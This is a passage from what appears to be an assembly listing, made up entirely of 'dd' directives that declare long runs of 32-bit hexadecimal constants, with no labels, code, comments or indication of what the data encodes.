		dd 6EE6235Fh, 54BEB924h, 48F1F892h, 50B8303Dh, 9BD0FF01h
		dd 0B661D1D6h, 9831FCE8h, 2B0C405Ah, 1933C048h,	0D21124D9h
		dd 0F8F0B336h, 9713FD85h, 84082960h, 27252823h,	0E3E161CEh
		dd 4B67BCD1h, 125F15CFh, 8DDAEE08h, 5D4D97C0h, 62129591h
		dd 6F24C3Fh, 160C0926h,	3E34E705h, 1F3D1233h, 810BC9E7h
		dd 95707C3h, 589E595Dh,	6904D380h, 28D2BB66h, 17F2DCE2h
		dd 26439130h, 962BEA3h,	0AD710D15h, 95358AC6h, 20F48B7h
		dd 84A4322Eh, 1B52609h,	8516BA8Fh, 0B8234E55h, 0DC41DE13h
		dd 0C8D92AC0h, 2580F620h, 0CDCEBBE7h, 7E435C95h, 26337700h
		dd 68A5A625h, 0B04C2659h, 0FCDE007Ah, 0FE8BE1FFh, 43AB1497h
		dd 7A9A5E3Eh, 22732C82h, 2E50A75Ch, 507E9504h, 589095DEh
		dd 1497C885h, 2FC945C9h, 0C000B6Eh, 0D24675E1h,	0CD4839C7h
		dd 0D4079C6h, 1CE73F81h, 6058C580h, 66F3B5BFh, 0DA82794Fh
		dd 0C658092Ah, 4709C490h, 703B964Fh, 11B7B7ABh,	41D02505h
		dd 39534B8Ch, 0FEE6F2h,	39BF575Ch, 3567A95h, 8077FC95h
		dd 3FEDBA55h, 2497F321h, 8B4470BFh, 0ACA1B9DFh,	50048C15h
		dd 2985318Eh, 9BA598B8h, 0EE4AC1D1h, 0E2E9058h,	48BADA68h
		dd 0C970897Bh, 0E660678Ch, 0F426F88Dh, 95614438h, 10B70594h
		dd 0F076BAAh, 9A9447E5h, 0F9685C1h, 81AE688Ah, 60505FDEh
		dd 0E4E92Bh, 0BCC43E1Ah, 3C0E6EA6h, 0B2A74263h,	1E7517E4h
		dd 0E902B100h, 55FA455Eh, 67FD3D15h, 0D1829300h, 20FB675h
		dd 5B09A5BBh, 0A04C5A61h, 2E147834h, 651271B9h,	9BB34Ch
		dd 9061E3B5h, 32514A2h,	506FA97Ch, 4870585Eh, 1C89AAB9h
		dd 336E57F4h, 89438B48h, 4D9F8458h, 9D4B6FB8h, 7FAC2B19h
		dd 0BF2476FCh, 0D908904Eh, 1AC62529h, 430BBB00h, 44E94C16h
		dd 730B501h, 8D000C9Dh,	78CC2F8Ch, 4CFF5Ch, 6422E99Eh
		dd 0AD636F7Ah, 0F1B07664h, 975B18F0h, 0CB801598h, 18CD704Bh
		dd 0ACE3642Bh, 6FAB4BDDh, 2BD40737h, 0D9BDF1BDh, 0B99D5489h
		dd 0B3B2CB62h, 0CDDFB441h, 241B2281h, 0D91B2F60h, 0C9B7E82Dh
		dd 0C50E9761h, 1BAA0976h, 1008CBC9h, 7BB31768h,	96F41694h
		dd 668AC07Ch, 2B4B8BBFh, 0B2039B8Dh, 7CB8A479h,	25820FE1h
		dd 0CD0D5824h, 5ADF4E00h, 0CE7398C4h, 5A6195D4h, 762350h
		dd 0CD8588A5h, 9586284h, 16EEE0D6h, 0F6BB5510h,	23A8FA13h
		dd 95E043A1h, 3D2D912Fh, 0E658D916h, 0B4BBE4F3h, 0E34C7C9Fh
		dd 717A514Fh, 0B4342B9Dh, 9C5014B0h, 33AC2F35h,	5A48D116h
		dd 61004E87h, 7DBCCF81h, 7251493Ah, 9A7568Ah, 0C109A771h
		dd 838AE200h, 67954A32h, 3735AD04h, 2B968F3Bh, 0A118A050h
		dd 9F95BA0h, 15C1B529h,	61C75359h, 6C2F2808h, 0FED4ABC5h
		dd 676EE92Eh, 4018467Eh, 93022CD9h, 9D0B606Fh, 66E5EA11h
		dd 988C0038h, 471AB9EBh, 6A017943h, 0C8173718h,	7EC66061h
		dd 0A4FC67F1h, 0CF90BC50h, 7958385Ah, 9C1D9719h, 5C1762D2h
		dd 0BCF0CB60h, 445D9495h, 8D152974h, 0A2E02155h, 0A8DA2404h
		dd 0D7A980A2h, 9B357B0h, 0AD442F54h, 48542851h,	905B12ACh
		dd 72EB815Dh, 2E262A12h
		dd 0F989E0A9h, 0DF256E59h, 0F9001637h, 0CB03205Bh, 9C9E2409h
		dd 3C780FF8h, 234DBD22h, 53E51A5Ch, 6000AAF2h, 0A84B9328h
		dd 0ED005C26h, 1A18D7C1h, 0BF5BBD50h, 0D29C7298h, 8E05557Bh
		dd 0F08318A6h, 0AC828Ch, 1C5352B0h, 24A1B4E0h, 0BBC41B00h
		dd 9FD30466h, 5F571C10h, 922BAE5Bh, 230DACFAh, 10DF25DAh
		dd 9CB81F9h, 13D06155h,	17592A73h, 0FA1A9518h, 2B753605h
		dd 0D860F3B9h, 0A6900392h, 218B0A4Bh, 946A5Bh, 965FD8F8h
		dd 2CEA9A05h, 91C9F8Ah,	0E1682B8Dh, 6471A51Fh, 532E0B97h
		dd 0C8B6D849h, 9A131700h, 0DA80BFA8h, 15951389h, 0B299D1Fh
		dd 0C1168830h, 2E1EDDD1h, 8D015402h, 9567F805h,	8F374C89h
		dd 0D68A0B81h, 30DB22h,	9E2B6F8h, 547106FCh, 28D37A5h
		dd 0F90BFB50h, 0ED6B575Ch, 8043C4E1h, 499279D8h, 2E44086Bh
		dd 9BA9D2B7h, 690E08D2h, 5A9953A5h, 0A0C53C18h,	29079F06h
		dd 207445A7h, 80091B85h, 1996AECFh, 46E414D5h, 0F0A200D4h
		dd 3AB9CBD3h, 4904398Bh, 98E6A9E5h, 0D68CCCh, 0DEE026F4h
		dd 3E1EF9CCh, 8A78E090h, 7227964Bh, 5A803F40h, 0E717498Fh
		dd 0CB24E1DEh, 26245108h, 48041154h, 1A621255h,	0B7124EE3h
		dd 8B4AE278h, 80A2DB6Fh, 9886124Dh, 0DE00D395h,	726135DDh
		dd 0B06FA28Dh, 20605B3Ah, 0E4914AB9h, 0A9DA9D00h, 2780222Dh
		dd 6BAC0E75h, 0C322F52Fh, 0E3EA6114h, 0C23755h,	0ED1DA093h
		dd 0E2C82298h, 45E4A717h, 0CC30681Fh, 7FEE3B40h, 4AD11511h
		dd 1339A026h, 0A05C5B81h, 2879B85h, 159F23C6h, 65610D61h
		dd 7B6B2B71h, 0E0091523h, 0D60B5EF5h, 6F091646h, 3D055CDDh
		dd 0CF35879h, 3A970C91h, 0E75A4D60h, 0DFDA20D3h, 0A7958F6h
		dd 9D7129F0h, 7E8E2C4Bh, 30574C27h, 866B3Ah, 0F6F1607h
		dd 5EEBB7A5h, 0C6FE8A25h, 11B3258Bh, 0B6D7AC2h,	0A4EA3CE4h
		dd 1E00CB95h, 7F678B18h, 2DABB90h, 5B0E8A54h, 0A35C02B7h
		dd 0DB57985Ah, 450C0055h, 0DCB5FCF0h, 0D600E4F4h, 54A4914h
		dd 127E11C6h, 0E7F33AE9h, 0D52BA0B5h, 70887BADh, 10111285h
		dd 0C140B843h, 23E9BD89h, 8CEA6003h, 0B600BD72h, 10E0815Bh
		dd 123E419Eh, 0DBC18B61h, 90E68027h, 13197D71h,	4C6F436h
		dd 0B8335708h, 2DB6D6E8h, 5A9B54E0h, 66210816h,	4926D0E5h
		dd 84D2975Ch, 476EBB45h, 5B562E05h, 0BC3DF96Ah,	0F2380913h
		dd 1E18606Dh, 2279CD03h, 0B578AB18h, 255BCBBEh,	0E55A8D89h
		dd 536A6124h, 0B3CD14F4h, 137DB122h, 4064CB2h, 5F1F99CFh
		dd 3520C53Ch, 0C92F4B71h, 34EB4746h, 0C4900925h, 0F9E00359h
		dd 3C65554Ah, 0FA35ECE8h, 0C334A526h, 0DBE6605h, 6CBFC300h
		dd 0BF906142h, 610048B7h, 0D5397F06h, 5C4125E3h, 0D9AB2BDFh
		dd 78442B3Eh, 7A0DAF53h, 328AA5B8h, 57A5D035h, 5E9783CEh
		dd 0B0017E78h, 8F324078h, 9A49860Fh, 8E060C90h,	7C62118Eh
		dd 710908B1h, 1BB9F88h,	0FF7AA6CFh, 0B84B2DD1h,	1DB725E3h
		dd 801266E5h, 579D8EEh,	7AF097h, 14F9B244h, 62D6CA0Ah
		dd 85294205h, 884905DDh, 534D5F02h, 0F82C2163h,	100932C4h
		dd 1204F1B5h, 6EF5B350h, 1316E2Eh, 8E11369Ch, 0E9618912h
		dd 0C230B420h, 195D8DEBh, 6A28BAE5h, 251A8120h,	47967E9h
		dd 0BB20EC2h, 6470905Bh, 7BC649BAh, 48CDECBDh, 6B8D8501h
		dd 7FB7448Eh, 8A031820h, 0BD0B89E0h, 1812654Bh,	0F64A6CE7h
		dd 0F993A34Eh, 882FBA48h, 0BB00625Fh, 0EC987754h, 0E3C667h
		dd 0DEA71C28h, 0FAB70F49h, 53505B13h, 0E214AFB5h, 0B9DF34ABh
		dd 7AAA4E7Fh, 0EE880C40h, 0E7DF642Eh, 3DB1092Bh, 4D25757Bh
		dd 0D08BC0ABh, 0E20A2CB7h, 0AB68CC3Fh, 83F6FA12h, 20899D1Dh
		dd 32EDD9E9h, 0DEFF2C3Bh, 24052061h, 0E0FD44E4h, 99340059h
		dd 7867FE89h, 77E6CD31h, 0ED25B8B8h, 116DE51Bh,	22554C1Dh
		dd 0A3BB0305h, 0B028DD27h, 93D38180h, 0BA73400h, 953170E6h
		dd 7097D335h, 18A18DE0h, 5878E481h, 7BF104C0h, 0B8003A74h
		dd 971D92E5h, 0FF1F5Fh,	38574F29h, 0CE0745BBh, 0E95B3125h
		dd 21C2D078h, 0C269DBDh, 97BA76F5h, 0F2C0AAD4h,	1E094Bh
		dd 8D5399CEh, 1FD3F59h,	0A8CD8529h, 5B50C100h, 0FB099529h
		dd 8344F82Fh, 0E289E2F7h, 4AF7F8F5h, 45D2F02Bh,	0D13D1961h
		dd 764086E9h, 0D223A995h, 0E5D4EA1Bh, 4B7713B0h, 648C6F4h
		dd 7AF9C2C9h, 6F214540h, 0D60EE221h, 7649BC8h, 4E5A891Dh
		dd 0A523A02Eh, 0C301EF83h, 5B12DF80h, 339247E9h, 8B780351h
		dd 376FF8Dh, 38C8FA4Bh,	0CB47A833h, 2E6A48FCh, 0A583FE0Ah
		dd 51A73B19h, 33826851h, 5FD9Dh, 0C563BF5Bh, 0EA315034h
		dd 0EB816F00h, 0E75ADB07h, 0EF30612Fh, 9290935h, 1348CFA8h
		dd 0F4F5C017h, 0E6313A1Fh, 0BD5E1D51h, 0D5FBC089h, 4E66957Dh
		dd 14420B0h, 9D86B8F5h,	6A806E37h, 968ABF0h, 0C4E15ABDh
		dd 0FBB6BB4Fh, 0C03015A2h, 3B1895FBh, 29F1F2B9h, 17F2E8F3h
		dd 52C5BD89h, 6668E198h, 0B03FF00Ch, 0AC0D048Fh, 4311E9FCh
		dd 0C069B9E8h, 981E4Bh,	0DC8E93BDh, 8A30F667h, 1043CD25h
		dd 95A915h, 0A6809BEAh,	0C02B5F6Ah, 3DC229Eh, 6629F4CFh
		dd 0FA1982Ah, 2430668Fh, 0CF015FDBh, 0D22B1590h, 0D36E7Ah
		dd 2C10B401h, 0E3BF6D65h, 4BF13CD8h, 48A0CF1Ch,	52A04F0h
		dd 0DAAD778Ch, 7D2580B8h, 9D9EE4D2h, 0D7C03ECDh, 1CFD432Bh
		dd 0D6A03BF5h, 2F939D80h, 0FFCF7FCh, 0CA8CEC3Ah, 977140FBh
		dd 1D55B2A8h, 0DABA5B50h, 95ACEE95h, 0E804E635h, 0FBBC23D3h
		dd 47426EADh, 5E15A1BDh, 2E5071D8h, 5DE843EDh, 18F4F350h
		dd 3DFE1F05h, 0AA81E4D7h, 602F20B5h, 5BE5BBD5h,	926FE02h
		dd 572ADD85h, 0BF6689B8h, 0FF28B3F0h, 5E9896E1h, 62E99D2Fh
		dd 519E5C84h, 60AD99CAh, 0CC68F7E8h, 4984CB5Eh,	18CD28DAh
		dd 1879A2C4h, 8BD11512h, 0A2F1D88Bh, 89798642h,	0DC2ED61Eh
		dd 9570F601h, 0C864287Bh, 9D6EA4E8h, 0F19CFE54h, 650C9720h
		dd 2D4A51C8h, 0C22EFE3h, 1A727E98h, 6D95F370h, 62146469h
		dd 0D62D5EA6h, 0F7001B46h, 1687B83Ch, 5B5C7CEFh, 1CA6D79Bh
		dd 6F9F7800h, 7B67473Eh, 9BAAD209h, 1087D440h, 0DE7874D9h
		dd 788E0F2Eh, 8A659562h, 0F4F54Fh, 2B3DAA64h, 5FB06FB1h
		dd 0AC683E02h, 0E6F1447Dh, 0A7D2006Eh, 26AE6964h, 500CC4Ah
		dd 481DE28h, 0B865324h,	8D0F0EDAh, 188A471h, 0BD71271Ch
		dd 3F8FF200h, 4BC13093h, 60C68DBCh, 0F65AD89h, 0E856CE31h
		dd 0D0804C9Bh, 0D398761h, 0B70F2609h, 2FCC71D8h, 23855737h
		dd 0CAE2AC95h, 590A027h, 0D200AF9Bh, 0F986F5F6h, 1E3A5480h
		dd 25B31998h, 0F35700E2h, 5FAE01EDh, 2FCE15ACh,	37C00A34h
		dd 4B88F9BBh, 2610DD57h, 8D66B084h, 71D4FDCEh, 2AB212BDh
		dd 0D9F6E089h, 910A0A95h, 51AE5B52h, 54E176F6h,	7C8210CDh
		dd 0F0D3098Bh, 80022B78h, 0B35085CBh, 8D3AF0DDh, 906D616Bh
		dd 45E06CFEh, 27DB2BE9h, 1B86A7C0h, 6501460Eh, 0F0A368AFh
		dd 0EE718D44h, 4158657Bh, 0DA135C73h, 0F9242E72h, 305CCD7Ah
		dd 8A509007h, 0A7FE49FCh, 12FB00DCh, 7C46A794h,	0E2011640h
		dd 4B73BB51h, 753A754Eh, 0A8AEED9Eh, 0A6B80075h, 8F378092h
		dd 9612B6AAh, 82FB9D0Bh, 4B5E613Ch, 21846F6h, 72A2F9Ah
		dd 250A7E4Ah, 48166365h, 0C4EC7FADh, 0E9411809h, 1A4FD740h
		dd 0A3F3040h, 25BC9883h, 2AE71481h, 76FBA276h, 0C825DCB7h
		dd 93EE5E4h, 0CDD70420h
		dd 505BE022h, 94090634h, 71D8320Bh, 0C99100CEh,	3BDB7BDEh
		dd 4FC81E00h, 97AD6AFCh, 660B91AFh, 0BA9C79DDh,	0C8F8F127h
		dd 19465479h, 6351EA01h, 788AF26Fh, 0E166D80Eh,	0A5CE9505h
		dd 9BBF938h, 7367D878h,	181659B4h, 815A4A07h, 14157D2Ch
		dd 8ADE31EEh, 0C09F7D17h, 2188612Bh, 3B8000E6h,	0A99C518Dh
		dd 0C604D74Fh, 4A013053h, 88D687BCh, 1A1EA77Ah,	70000B65h
		dd 91DC4082h, 2725ECE6h, 87C46096h, 99C50D0Bh, 414C7B58h
		dd 20668BA5h, 5A7692DFh, 5061FB1Eh, 6B6AB001h, 0CD449655h
		dd 15889D9Ah, 5EA52EC2h, 35D8698Dh, 98E2324Ah, 0D08FFAD2h
		dd 4ABEF3D3h, 1BB291B6h, 271EF30h, 74942902h, 26C2330Dh
		dd 0BB9F30D5h, 0A9323F24h, 0C841DACBh, 0AA0EC019h, 0C9244E4Fh
		dd 703A188Dh, 229EC495h, 66000CE8h, 50588C88h, 0B7FE36Bh
		dd 3D94E03Ch, 5FFA7E70h, 0E55A8897h, 5621790Bh,	0BCF8C4C5h
		dd 7ABF4B19h, 0FED0BFBh, 246A5189h, 9C53274Ch, 2CAE8578h
		dd 0C9D8870Fh, 8100B07Bh, 4045F6EBh, 0E635BF05h, 0A0801D91h
		dd 0FA384B03h, 6E26CA04h, 0A68C518Eh, 0B5E300A9h, 0B8125759h
		dd 2C3A608Dh, 96868BD5h, 7DDD5053h, 7A05F866h, 734D9561h
		dd 0D433ADC0h, 0C8D64BF9h, 2D0F4948h, 0F10342C2h, 88518Ah
		dd 2BDBBF5Bh, 9A975598h, 82C7F13Bh, 15059D29h, 708F1C57h
		dd 0D8F79B6Bh, 3B02FD01h, 0ED986EE8h, 40D9F4E5h, 5806F0CFh
		dd 6AEAFA00h, 1C25F42Bh, 0A42903F2h, 2EE7EDD2h,	60BB50C9h
		dd 734AA5B7h, 12AD1E13h, 700084B8h, 96ABA673h, 5869BD03h
		dd 0C8A5192Eh, 6B009DEBh, 3089037Eh, 12E812A7h,	0F3F734DFh
		dd 2D935040h, 7498394Eh, 971EF4BDh, 35BD0396h, 0CB331400h
		dd 0DC6F6D01h, 2B10F976h, 206CE936h, 9092C79h, 7905A585h
		dd 4139C40Fh, 1945B589h, 0BFD3DC6Ah, 0B4FE8009h, 0BE07786Ah
		dd 3A01DC45h, 19038E30h, 287C1B8Ch, 0FCCB4Ah, 0DFB3ADBBh
		dd 97D6E935h, 0C18BEA02h, 1DDCAC54h, 8ACEE89Bh,	24EB0BB6h
		dd 0A86EA5A4h, 27582F93h, 0D3FA2Ch, 1F1E86Bh, 60525090h
		dd 61DD8A06h, 4B0C310Fh, 3EE2C5h, 0A8BE291Ch, 1131F23h
		dd 3FDDB8C2h, 0F4A97E51h, 30E5615Ah, 2FF560BEh,	25B438Ch
		dd 9B6B966h, 427C9061h,	599313DCh, 2BE404D5h, 0A80D943Bh
		dd 0D66A2631h, 0F4704AF4h, 90B5A514h, 76C19378h, 0EFD7AD4Ch
		dd 7B947661h, 0B0162E89h, 0C18124DBh, 0C77D2D72h, 0D71EA10h
		dd 8575017h, 0D0A80491h, 4BC0CE25h, 0F9BD98CEh,	9AE49525h
		dd 80C19F9Ch, 742EF2E3h, 0A891B97Fh, 656AC48Ch,	23C4120Ch
		dd 81C06CACh, 0AAEAD3E3h, 0D1FF4913h, 0B201686Fh, 0CF7F2C02h
		dd 70282EFBh, 0DB2DD39Fh, 0A93F805Ch, 12CD76D8h, 4BB68F7h
		dd 180A5D02h, 971FB5DCh, 75F4871Ah, 6D4813D4h, 0F7C202E4h
		dd 52E68893h, 849D9600h, 8DE00B32h, 33900C18h, 0DD84ADE9h
		dd 0F65B3140h, 330A6FE8h, 47231040h, 50912F2h, 15C5FDEh
		dd 5B68AA85h, 0B092060h, 90676E71h, 32001454h, 0E98501F6h
		dd 8F389726h, 0DD228D89h, 0E302127h, 0DC19DC2h,	0BDA1D696h
		dd 2A8EDF80h, 2501426Eh, 0B99D3323h, 69752E19h,	0A5D78BBCh
		dd 0CE695652h, 6590E712h, 14E236E6h, 7501CA30h,	0E20A5A95h
		dd 92E293AEh, 0E62A0C00h, 6ADB9C9Bh, 0C62D1225h, 6F31761Ah
		dd 67FF0D69h, 84B4B557h, 0C202D994h, 0AFC3FC16h, 92C85F8Dh
		dd 2220E65Bh, 0EB858029h, 0B0F638ACh, 9489F91Bh, 76B0374Ah
		dd 71E42ADFh, 0F222959Fh, 8409010Ah, 0F92202ABh, 1EEE1D60h
		dd 0FDF88F95h, 93E35AFDh, 1C999D08h, 0C4E25049h, 0DC572h
		dd 0D1BD0153h, 0B8489F1Bh, 0AFA0E2F7h, 2B811425h, 24885897h
		dd 82B286h, 521C8521h, 458DE7h,	0A12D6E57h, 8B6414A3h
		dd 0B509D10Bh, 0E9A92275h, 0E06474A9h, 0EE9F7142h, 0CF3F5B00h
		dd 2182C3BBh, 0F2A4ED58h, 0E2534422h, 0F0AD0920h, 0C0CEF714h
		dd 7FADF02h, 0F6A0C51Ah, 3101176Fh, 2B04C93Dh, 0FE8A7D89h
		dd 2509310Dh, 267FD740h, 0C2745C2Dh, 94425681h,	2DC6A412h
		dd 4445CB1Dh, 3409C604h, 0A03371F9h, 25AB91A0h,	28443764h
		dd 12CB7681h, 0E6226C7Eh, 2DB35B35h, 2F958914h,	0A38D0F16h
		dd 0A86A12CCh, 0E10B2CE6h, 537B4C45h, 1DC56278h, 29896B8h
		dd 0D7801726h, 549B89D5h, 0FE09DC32h, 591C6643h, 94CF0087h
		dd 0E19663C2h, 0BD235F0Bh, 1647F275h, 0A715860Fh, 400100CAh
		dd 0ECB71025h, 1A1F0C14h, 6FEAE6Dh, 0C65F2C25h,	0B9F90B3Fh
		dd 9A470DE6h, 0A8621464h, 2921A760h, 83E0CC83h,	220F975Bh
		dd 87F3956Fh, 8D37A55h,	2B0F0DD1h, 5985E2C0h, 0B93F7428h
		dd 0D21D2032h, 2A49E382h, 975B36D7h, 26C2506Dh,	0D606028h
		dd 0C99D250Bh, 5A442109h, 22373D01h, 4D363072h,	101D3F4h
		dd 0C3F75E8Bh, 0D176969Eh, 9A6E3B8Fh, 94280B09h, 0E46ECC19h
		dd 7F036B9Ch, 891F19F4h, 11F60134h, 0D79BAF1Ah,	0F5132B82h
		dd 0E6E824BDh, 0D008E302h, 404A396Ah, 9E0AFE04h, 0D5766B49h
		dd 0F9B7C46Eh, 0C1D6D3ACh, 2B1F25F5h, 750BA2Bh,	21144101h
		dd 0B9292AB4h, 0E638137Bh, 1690F06Bh, 9AF50432h, 0A8B3B4FAh
		dd 0EAB8249Ch, 28A95169h, 0F06D5422h, 0F6E15DFFh, 639A3CBCh
		dd 85551561h, 382B26DDh, 54109CAh, 0B157A8Ah, 801C413h
		dd 0B445A511h, 0C304CE0Ah, 5760FB42h, 731CF037h, 81BD4ACBh
		dd 0B7CF8064h, 0F6B6132Bh, 890BE0E7h, 60F22528h, 61B533C1h
		dd 33122B1Dh, 1D26D9A1h, 51BEE0F6h, 34502910h, 26887DDEh
		dd 12CE0161h, 2202E30Fh, 25DD9840h, 6F4D26AAh, 70601A64h
		dd 7709DA2Bh, 0D4F8014Eh, 5E31401Ah, 12005C9Dh,	0ED373EDFh
		dd 99C7E7Ah, 0D9E5B96Ch, 0C9A41B71h, 50C3DD1Ah,	88814FF9h
		dd 6D128773h, 50D34A67h, 0DF50AA51h, 126C1610h,	0BD2E0F00h
		dd 7148B9D9h, 0E2FB4E05h, 0E25F8C19h, 2D78C801h, 0DEB86800h
		dd 7810951h, 0DD472434h, 0E854794Eh, 23BAEB40h,	6F7709B1h
		dd 1953EFA6h, 49DBCDA7h, 0FC68C6DDh, 0E75912BBh, 1293AC1Ah
		dd 0C1AD2A09h, 0E2CCB6D2h, 2802DFC4h, 0D269209Fh, 2A71718h
		dd 0DE01F60Bh, 6A2A8805h, 20EA23EBh, 7762DDCBh,	6B0EE600h
		dd 5A723CD1h, 575800D9h, 0A30D648Bh, 0BD122BA0h, 2B83235h
		dd 8BC3DBA5h, 0B011827h, 0BD913CB5h, 2D711627h,	705EDA41h
		dd 95B07920h, 7B7736CAh, 0EC0FD194h, 5DB0830Dh,	0FB0944h
		dd 373BB1Fh, 0A96A20ECh, 817B95FAh, 56BCF1D7h, 0D9D03C1h
		dd 6DAC0428h, 11E8CAh, 0EE6A7FA1h, 3E98F9B8h, 1A975FFAh
		dd 83E476h, 7A6A53A0h, 0D01A9835h, 9A5FEC03h, 44BB3DCh
		dd 897642F2h, 80ABB806h, 34E69D18h, 9DFE924Ch, 0A460DB4Fh
		dd 7F5BC109h, 346EE328h, 4A68AC56h, 97F6B6Eh, 32C14E37h
		dd 960AA156h, 2A015FE8h, 5827ED12h, 2231431h, 5398A400h
		dd 0C74A4302h, 0EACC6100h, 12AD9ECh, 0D5CD01BCh, 0F679BDFh
		dd 35C2331h, 75EB8474h,	36179088h, 1FA0EA2Ah, 2AA02F8h
		dd 5BCDFFE3h, 50383ED0h, 2025CB60h, 4B1600FFh, 55865982h
		dd 51028900h, 606177CBh, 868A520Fh, 0FE7E0642h,	2B10B596h
		dd 4600D1B5h, 31773376h, 2D9D8D2h, 366322CEh, 0D977924Eh
		dd 0DC8A04C5h, 2271AF5Bh, 68000EFDh, 252AC8DBh,	0A3012F75h
		dd 20698E36h, 11DC8CC1h, 711507B1h, 9109B948h, 735B5060h
		dd 0CD8B00DBh, 752AB5BAh, 935E2B1h, 66A0362Dh, 17CD180h
		dd 6126761Eh, 89B8985Bh
		dd 7C753ACBh, 4D00DC77h, 57E294AFh, 9F62DF5h, 0E380939Eh
		dd 0C5DB7A01h, 0B282368Dh, 0DCD63016h, 9D89EF09h, 90ACA5F1h
		dd 0E85012FFh, 0BCE64D60h, 776005BEh, 8A74B754h, 0DA64F08h
		dd 60FE18A0h, 0CD61B727h, 6F2AC09Fh, 507F8B53h,	0F308AC00h
		dd 3CE3810Ch, 23922540h, 0B5A740E7h, 54003F77h,	25B537F6h
		dd 0AFB0EC33h, 97ADDF4Ah, 1BC185B0h, 5ACBB08Eh,	0BACFE3F8h
		dd 9ACBD4Dh, 0C05C4D9Dh, 0B2E741DCh, 0E3D2EA01h, 1F75BD33h
		dd 8795B32Ah, 0FD09042Dh, 0DC05B6Dh, 22B03C0h, 0F305394Fh
		dd 89FEDE7Bh, 0C401B247h, 0B23C190Eh, 136CE096h, 1A9FE795h
		dd 0F37581E6h, 12E658DFh, 465C9100h, 0C45A02Bh,	920958D5h
		dd 18BF3220h, 95A8B732h, 6BF82419h, 6A3BD79Dh, 5E4C0B85h
		dd 2FCB01F2h, 2AC98D89h, 81A2B22Ah, 52D84070h, 0AC20490Ah
		dd 844812F6h, 1E59F07Fh, 11BD6DC5h, 961FA9F8h, 0B0D08160h
		dd 63506116h, 0B9EF1EF7h, 6E4B9987h, 0A56B330h,	0B29C12E4h
		dd 2E1DF501h, 250AAB7Bh, 1DF6FE28h, 0A056A569h,	0E58D29E1h
		dd 28E94C2h, 0D427C781h, 0B5573F45h, 801B9179h,	73306ADh
		dd 0B1100FDh, 0E52BBFF9h, 8B974D46h, 0E054FE0Bh, 0E5C9D663h
		dd 93D52917h, 16AC61B9h, 8E63138Ch, 415E0B6Ch, 0D768AD5Ch
		dd 0F51FC509h, 8F013866h, 0DB81E1E0h, 0D0EC7FD9h, 304414D4h
		dd 2509B728h, 167895EFh, 0BDCB49Ch, 0AEDC071Ch,	7D958B82h
		dd 6E5CBF89h, 1A46DCh, 0FCC17082h, 9D842F14h, 9295CE0h
		dd 0DFDA3381h, 0EE619224h, 0CB5032B2h, 0B91F4AE5h, 6AF9C533h
		dd 5CDF30FAh, 29009994h, 0B60D4991h, 3AF88E97h,	0EB8E89F0h
		dd 135D837Eh, 0B243B677h, 0A86D3018h, 0F229C812h, 0BAC7188h
		dd 0FC88B654h, 0F84858E6h, 4AB84AACh, 13C7EEDDh, 0C4306550h
		dd 0E70CA638h, 1A0EA7E0h, 0FA8B1EF6h, 0E7135280h, 0DFD127Ah
		dd 0AE3174AEh, 3A05EE6Fh, 7DBC60Fh, 0C3EF81E0h,	0BCDC9172h
		dd 4A49A34Dh, 829A9B3Bh, 0D007218Bh, 50963912h,	81E39B5Eh
		dd 0CB1E7C84h, 20E3C27Ah, 51E52B5Eh, 0C009CCECh, 615E5FBDh
		dd 50DA53EBh, 0D1073848h, 3508AEB3h, 0C7297A35h, 2B2F14FDh
		dd 0E4408041h, 9957F52h, 0F83CB7E0h, 44442F79h,	8886925Dh
		dd 9897F9EAh, 1715BB31h, 1760739Fh, 4BA4BD00h, 3FA93785h
		dd 6027D6B8h, 509DF0F9h, 5A05BE61h, 0C0D9E31Ah,	0B1887CBFh
		dd 0B0E92155h, 50017BA7h, 2F016F36h, 0ABE4F769h, 245AC18Bh
		dd 0C4FB6BC0h, 7425A41Bh, 0A258E69Dh, 0CB46F4DCh, 0BB84EB56h
		dd 0C21ED963h, 2367EA58h, 5026533Ah, 14CD2B0h, 0BCD8C072h
		dd 0A946FAh, 326AFBC1h,	29D4A3E1h, 8A58607h, 0DA359DF2h
		dd 0ED0D17EBh, 6EBA4FF3h, 43A70006h, 0DDF04C19h, 6F029567h
		dd 89091D8Dh, 0FAE1DF0Dh, 0A0F3276Ah, 5CE7103h,	6238E2BBh
		dd 35B50248h, 9AD74CD2h, 0D42BD438h, 1BC29C09h,	49F2FE89h
		dd 0FE7ACE50h, 0B75DC7A2h, 586901FCh, 80978807h, 89E38140h
		dd 0F14C5F27h, 806F6Bh,	66C0341Ah, 97AD97BFh, 0BD5D70A9h
		dd 0CB75041Dh, 5198C2Bh, 9E46A900h, 2DFDABA3h, 0AF33002Eh
		dd 13B745Ah, 593A0623h,	76F6DA02h, 0B1301BB2h, 2B860037h
		dd 591EDA60h, 989D830Fh, 820E3187h, 18D8860h, 0C030F589h
		dd 4CF05DFh, 0E6D1FF61h, 271E2F6h, 7DFA1811h, 314BEF77h
		dd 8222BFCAh, 22C20B0h,	0A105C31h, 0FE718925h, 0F74E12A5h
		dd 0B8AF9B60h, 37DD8004h, 24952642h, 0A3BC02FDh, 12E922h
		dd 228DF298h, 9C91D2A0h, 0E80360FAh, 70FA1E5Dh,	70E4EA69h
		dd 0CECD9760h, 25611564h, 20E03C45h, 0E3E93A0Ch, 10A2CBCBh
		dd 6E4AD23Fh, 0B5D60037h, 9D89FBFEh, 0D8255E85h, 4A02A136h
		dd 0E2CA1E6Dh, 150E40FDh, 0ADBA9728h, 0BEDBE200h, 0C6A690A6h
		dd 81F6DE9Fh, 0FB143895h, 0BCD83E3Fh, 0F48300FCh, 4C44F0FDh
		dd 0E0EA99ADh, 9BE663Ch, 0F590619Dh, 2E603B4Dh,	2D36FAAh
		dd 5214C158h, 307C600Fh, 0E3A35640h, 0F52E00F7h, 0C0DA3AAEh
		dd 2136216h, 88A22FFCh,	8A4B1Fh, 6055D774h, 5BF09BA4h
		dd 0C0085948h, 0ABA71F97h, 91E500C1h, 7178274Dh, 8402EBD5h
		dd 6232A5F0h, 0BCEE5561h, 0AA29BD22h, 0BFCE5516h, 0DB4EDF46h
		dd 1ADD82BBh, 3DEA8260h, 7DB44423h, 61100BD0h, 68F4FF6Ah
		dd 8A8538DCh, 0CB4EAC31h, 9AE0D653h, 0E59529E1h, 132E114Ah
		dd 0C3BE8D89h, 101DB022h, 0BA0D59Dh, 8B0F70E6h,	6053A8E9h
		dd 2D40B15Dh, 17E44D5Fh, 2F0B5910h, 97295A51h, 0BCFB3EA4h
		dd 2F958483h, 813020AFh, 8C0F6FCFh, 77BA41A0h, 38860565h
		dd 4EC772C4h, 813D848Fh, 5140D30h, 548320AEh, 129F8B0Eh
